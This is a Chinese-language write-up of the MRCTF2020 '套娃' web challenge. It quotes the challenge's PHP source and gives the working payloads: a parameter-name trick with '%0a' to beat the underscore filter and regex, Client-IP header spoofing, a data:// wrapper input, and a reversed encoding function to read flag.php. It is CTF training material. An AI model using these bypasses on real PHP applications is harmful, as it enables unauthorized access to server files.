刷题[MRCTF2020]套娃

解题思路

查看源码,发现注释中存在代码

//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

$_SERVER['QUERY_STRING']获取查询语句,既要绕过get参数中下划线的的过滤,还要绕过正则匹配的23333

我们这里可以利用php字符串的解析特性进行bypass,具体看此篇

最后payload:?b.u.p.t=23333%0a

根据提示进入secrettw.php,发现一串jsfuck,放进控制台中回车

post提交参数后发现得到一串代码,代码审计

代码审计

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  

首先我们看,需要IP为127.0.0.1,使用client-ip即可伪造,后面需要传入的get参数2333的值强等于'todat is a happy day',那么我们考虑使用伪协议data://

payload:?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=

后面又需要,将传入的file参数进行change函数处理,审计change参数,我们只需对其进行逆运算即可

<?php
$v = 'flag.php';

function dechange($v) {
	$re = '';
	for ($i = 0; $i < strlen($v); $i++) {
		$re .= chr(ord($v[$i]) - $i * 2);
	}
	return base64_encode($re);
}
echo dechange($v);

执行,最后的payload为:ZmpdYSZmXGI=

总结思路

根据提示,一步一步绕过,最终getflag

知识点

  • php字符串解析特性bypass
  • 根据加密函数写出解密函数
posted @ 2020-09-11 15:19  kar3a  阅读(730)  评论(0编辑  收藏  举报